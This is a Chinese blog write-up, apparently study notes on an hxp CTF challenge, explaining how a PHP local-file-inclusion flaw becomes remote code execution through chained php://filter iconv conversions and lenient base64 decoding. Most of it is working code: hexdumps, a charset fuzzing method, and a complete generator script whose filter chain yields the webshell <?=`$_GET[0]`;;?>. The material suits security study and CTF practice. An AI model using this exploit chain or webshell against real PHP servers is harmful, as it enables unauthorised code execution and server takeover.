前言 在hxp中出了两题LFI的题目,这个解法感觉是天花板了,跟着大佬的博客学一手
PHP base64 filter 在 p 牛绕过死亡 exit 的文章中,我们知道 对PHP Base64 Filter 来说,会忽略掉非正常编码的字符
所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
而合法字符的定义为
这里有个简单的验证
<?php $a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码 var_dump(base64_decode($a)); // string(1) "a"
Iconv LFI include一句话getshell 有个文件内容为<? php phpinfo();?>
的base64编码内容,当我们尝试include的时候就可以成功执行了
include "php://filter/convert.base64-decode/resource=./e"; // the content of e: PD9waHAgcGhwaW5mbygpOw== // base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)
trick include函数包含的是base64解码以后的php代码,而在php fiter中有一种convert.iconv的filter,可以将数据集从字符集A转化为字符集B,结合这种filter,转化一些固定的文件内容,经过base64解码以后获得我们的getshell,而由于php base64的宽松型,尽管我们产生了不可见的字符(垃圾字符),也将会被直接去掉。
例子 假定我们需要文件内容为14个a字符,首先遍历iconv支持的字符编码形式
$url = "php://filter/" ; $url .= "convert.iconv.UTF8.CSISO2022KR" ; $url .= "/resource=data://,aaaaaaaaaaaaaa" ; var_dump(file_get_contents($url));
我们看到最终的输出结果有垃圾字符,还有一个C还有我们需要的内容a,而如果直接经过base64编码,C也会被和a一起编码。导致最终结果出错,所以我们可以先经过一个base64编码,然后再解码,因为编码以后,垃圾字符已经被去掉了,就只剩下C和a,在解码以后以后,就是完整的正确数据了。
$url = "php://filter/" ; $url .= "convert.iconv.UTF8.CSISO2022KR" ; $url .= "|convert.base64-decode" ; $url .= "/resource=data://,aaaaaaaaaaaaaa" ; var_dump(file_get_contents($url)); $url = "php://filter/" ; $url .= "convert.iconv.UTF8.CSISO2022KR" ; $url .= "|convert.base64-decode|convert.base64-encode" ; $url .= "/resource=data://,aaaaaaaaaaaaaa" ; var_dump(file_get_contents($url));
Craft Base64 Payload 那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。
例如我们生成 PAaaaaa
,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。
所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。
我们先看作者使用的几个示例,例如字符 8 ,我们可以使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2
来生成
$url = "php://filter/"; $url = $url."convert.iconv.UTF8.CSISO2022KR"; $url = $url."|convert.base64-decode|convert.base64-encode|"; $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2"; // $url = $url."|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url)); // hexdump // 00000000 73 74 72 69 6e 67 28 35 32 29 20 22 38 01 fe 00 |string(52) "8...| // 00000010 43 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |C...a...a...a...| // 00000020 61 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |a...a...a...a...| // * // 00000040 22 0a |".| // 起用了注释那一行后,即还原到 Base64 之后的 hexdump: // 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 38 43 61 61 |string(12) "8Caa| // 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。
难点思考 看到这里其实有一些,还是不是特别懂如何利用这些编码来构造出字符
可以看到,是利用iconv的一个转码,使得原本的文本在经过转码以后,生出了其他字符,从而获得我们所需要的字符,可以看到左边的s8C就是我们使用三种字符串编码的转码以后所得到的内容。 根据这个特性,我们就可以遍历iconv获得我们需要的所有字符
RCE 因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如
<?=`$_GET[0]`;;?> #base64_encode:PD89YCRfR0VUWzBdYDs7Pz4=
接下来就是使用字符集获得这一串字符
我直接使用网上的脚本发现在P和f的转化是失败的,找不到这个字符集
我就查了一下,发现其中有一个字符集的写法似乎会随版本变化而改变,换了一下发现就成功了
shift_jisx0213、shiftjisx0213
就是这两个 换一下,就行了,接下来经过脚本的解码就可以得到
贴一下脚本
<?php $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" ; $conversions = array ( 'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' => 'convert.iconv.UTF8.CSISO2022KR' , '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFT_JISX0213' , 's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFT_JISX0213' , 'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ); $filters = "convert.base64-encode|" ; $filters .= "convert.iconv.UTF8.UTF7|" ; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|" ; $filters .= "convert.base64-decode|" ; $filters .= "convert.base64-encode|" ; $filters .= "convert.iconv.UTF8.UTF7|" ; } $filters .= "convert.base64-decode" ; $final_payload = "php://filter/{$filters} /resource=data://,aaaaaaaaaaaaaaaaaaaa" ; var_dump(file_get_contents($final_payload));
这里有几点需要注意的是
1.convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。 2.data://,后的数据是为了方便展示,需要补足一定的位数,(这里要包含任何文件都可以,但是需要包含一个文件,让字符集有施展的空间)
fuzz 字符集的寻找是很关键的,上面是凑巧两个字符集换一下就可以得到结果,而如果要寻找其他字符集,没有一定的技巧也是很难找到的。
假设我们需要寻找的字符为x
x必须在最终生成的字符串的前段(便于排序位置)
字符串的前端的字符当中,最好的情况是只存在唯一一个x对PHP base64来说合法的字符。
如果没办法找到单个字符,可以用多个字符来合并生成,例子如下:
首先,使用iconv -l可以获得所有的字符集
以生成8的字符集为例,通过不断的拼接新的字符集就可以产生了
$url = "php://filter/convert.iconv.UTF8.UTF7|" ; $url .= "convert.iconv.UTF8.CSISO2022KR" ; $url = $url."/resource=data://,aaaaaaaaaaaaaaaa" ; var_dump(file_get_contents($url)); $url = "php://filter/convert.iconv.UTF8.UTF7|" ; $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16" ; $url = $url."/resource=data://,aaaaaaaaaaaaaaaa" ; var_dump(file_get_contents($url)); $url = "php://filter/convert.iconv.UTF8.UTF7|" ; $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2" ; $url = $url."/resource=data://,aaaaaaaaaaaaaaaa" ; var_dump(file_get_contents($url));
已经有师傅将基本上所有的字符都fuzz出来了
wupco :https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
garbage string 如果找不到可用文件,我们可以利用convert.iconv.UTF8.CSISO2022KR字符集,因为他总是会在字符串前面生成\x1b$)C
,所以我们可以利用这个来产生足够的垃圾数据供我们构造 Payload ,以下用一个空文件生成一个 8 来测试
$url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR|"; $url .= "convert.base64-encode|"; $url .= "convert.iconv.UTF8.UTF7|"; // 8 $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2"; $url = $url."|convert.base64-decode|convert.base64-encode"; $url = $url."/resource=./e"; var_dump(file_get_contents($url));